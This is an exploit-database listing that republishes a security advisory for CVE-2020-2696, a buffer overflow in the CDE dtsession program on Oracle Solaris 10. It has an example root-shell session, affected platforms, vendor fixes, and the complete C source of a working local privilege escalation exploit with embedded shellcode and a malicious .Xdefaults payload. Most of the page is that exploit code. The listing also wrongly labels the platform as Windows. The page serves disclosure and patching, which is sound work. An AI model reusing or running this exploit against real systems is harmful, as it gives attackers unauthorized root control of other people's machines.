Author

Marco Ivaldi

Risk

[

Security Risk High

]

0day-ID

0day-ID-33842

Category

local exploits

Date add

19-01-2020

CVE

CVE-2020-2696

Platform

windows

Application: Common Desktop Environment 2.3.1 and earlier
    Common Desktop Environment 1.6 and earlier
     Platforms:  Oracle Solaris 10 1/13 (Update 11) and earlier
    Other platforms are potentially affected (see below)
   Description:  A local attacker can gain root privileges by exploiting a
    buffer overflow in CDE dtsession
        Author:  Marco Ivaldi <marco.ivaldi@mediaservice.net>
 Vendor Status:  Oracle <secalert_us@oracle.com> notified on 2019-11-13
    CERT/CC notified on 2019-12-09 (tracking VU#308289)
      CVE Name:  CVE-2020-2696
   CVSS Vector:  CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
    References: https://github.com/0xdea/advisories/blob/master/2020-02-cde-dtsession.txt
    https://www.oracle.com/security-alerts/cpujan2020.html
    https://sourceforge.net/p/cdesktopenv/wiki/Home/
    https://www.oracle.com/technetwork/server-storage/solaris10/
    https://www.mediaservice.net/
    https://0xdeadbeef.info/

1. Abstract

A buffer overflow in the CheckMonitor() function in the Common Desktop
Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle
Solaris 10 1/13 (Update 11) and earlier, allows local users to gain root
privileges via a long palette name passed to dtsession in a malicious
.Xdefaults file.

Note that Oracle Solaris CDE is based on the original CDE 1.x train, which is
different from the CDE 2.x codebase that was later open sourced. Most notably,
the vulnerable buffer in the Oracle Solaris CDE is stack-based, while in the
open source version it is heap-based.

2. Example Attack Session.

bash-3.2$ cat /etc/release
                    Oracle Solaris 10 1/13 s10x_u11wos_24a X86
  Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
                            Assembled 17 January 2013
bash-3.2$ uname -a
SunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc
bash-3.2$ id
uid=54322(raptor) gid=1(other)
bash-3.2$ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall
bash-3.2$ ./raptor_dtsession_ipa 192.168.1.1:0
raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel
Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>

Using SI_PLATFORM       : i86pc (5.10)
Using stack base        : 0x8047fff
Using rwx_mem address   : 0xfeffa004
Using payload address   : 0x8047dff
Using strcpy() address  : 0xfefe26a0

# id
uid=0(root) gid=1(other)

3. Affected Platforms.

All platforms shipping the Common Desktop Environment are potentially affected.
This includes:

* Oracle Solaris 10 1/13 (Update 11) and earlier [default installation]

According to the CDE Wiki, the following platforms are officially supported:

* All Official Ubuntu variants 12.04 - 18.04
* Debian 6, 7, 8, 9
* Fedora 17 at least
* Archlinux
* Red Hat
* Slackware 14.0
* OpenBSD
* NetBSD
* FreeBSD 9.2, 10.x, 11.x
* openSUSE Tumbleweed (gcc7)
* openSUSE Leap 4.2 (gcc4)
* SUSE 12 SP3 (gcc4)
* Solaris, OpenIndiana

4. Fix.

The maintainers of the open source CDE 2.x version have issued the following
patches for this vulnerability:
https://sourceforge.net/p/cdesktopenv/mailman/message/36900154/
https://sourceforge.net/p/cdesktopenv/code/ci/6b32246d06ab16fd7897dc344db69d0957f3ae08/

Oracle, which maintains a different CDE codebase based on the 1.x train, has
assigned the tracking# S1231688 and has released a fix for all affected and
supported versions of Solaris in their Critical Patch Update (CPU) of January
2020.

As a workaround, it is also possible to remove the setuid bit from the
vulnerable executable as follows (note that this might prevent it from working
properly):

bash-3.2# chmod -s /usr/dt/bin/dtsession

Please note that during the audit many other potentially exploitable bugs have
surfaced in dtsession and in the Common Desktop Environment in general.
Therefore, removing the setuid bit from all CDE binaries is recommended,
regardless of patches released by vendors.

5. Proof of Concept.

An exploit for Oracle Solaris 10 1/13 (Update 11) Intel has been developed as a
proof of concept. It can be downloaded from:

https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c

/*
 * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the CheckMonitor() function in the Common Desktop
 * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with
 * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain
 * root privileges via a long palette name passed to dtsession in a malicious
 * .Xdefaults file (CVE-2020-2696).
 *
 * "I always loved Sun because it was so easy to own. Now with Solaris 11 I
 * don't like it anymore." -- ~B.
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtsession_ipa 192.168.1.1:0
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1	"raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel"
#define INFO2	"Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/dtsession"		// the vulnerable program
#define	BUFSIZE	256				// size of the palette name
#define PADDING	3				// padding in the palette name
#define PAYSIZE	1024				// size of the payload
#define OFFSET	env_len / 2			// offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], payload[PAYSIZE];
	char	platform[256], release[256], display[256];
	int	i, payaddr;

	char	*arg[2] = {"foo", NULL};
	int	sb = ((int)argv[0] | 0xfff);	/* stack base */
	int	ret = search_ldso("strcpy");	/* or sprintf */
	int	rwx_mem = search_rwx_mem();	/* rwx memory */

	FILE	*fp;
	char	palette_file[BUFSIZE + 18];

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(1);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
	memset(payload, '\x90', PAYSIZE);
	payload[PAYSIZE - 1] = 0x0;
	memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

	/* fill the envp, keeping padding */
	add_env(payload);
	add_env(display);
	add_env("HOME=/tmp");
	add_env(NULL);

	/* calculate the payload address */
	payaddr = sb - OFFSET;

	/* prepare the evil palette name */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;

	/* fill with function address in ld.so.1, saved eip, and arguments */
	for (i = PADDING; i < BUFSIZE - 16; i += 4) {
		set_val(buf, i, ret);		/* strcpy */
		set_val(buf, i += 4, rwx_mem);	/* saved eip */
		set_val(buf, i += 4, rwx_mem);	/* 1st argument */
		set_val(buf, i += 4, payaddr);	/* 2nd argument */
	}

	/* prepare the evil .Xdefaults file */
	fp = fopen("/tmp/.Xdefaults", "w");
	if (!fp) {
		perror("error creating .Xdefaults file");
		exit(1);
	}
	fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette
	fclose(fp);

	/* prepare the evil palette file (badchars currently not handled) */
	mkdir("/tmp/.dt", 0755);
	mkdir("/tmp/.dt/palettes", 0755);
	sprintf(palette_file, "/tmp/.dt/palettes/%s", buf);
	fp = fopen(palette_file, "w");
	if (!fp) {
		perror("error creating palette file");
		exit(1);
	}
	fprintf(fp, "Black\n");
	fclose(fp);

	/* print some output */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return env_len;
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0, addr_old;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack (last - 1) */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_vaddr)
			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
				addr_old = addr;
				addr = map.pr_vaddr;
			}
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr_old & 0xff))
		addr_old |= 0x04;
	if (!(addr_old & 0xff00))
		addr_old |= 0x0400;

	return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0x000000ff);
	buf[pos + 1] =	(val & 0x0000ff00) >> 8;
	buf[pos + 2] =	(val & 0x00ff0000) >> 16;
	buf[pos + 3] =	(val & 0xff000000) >> 24;
}

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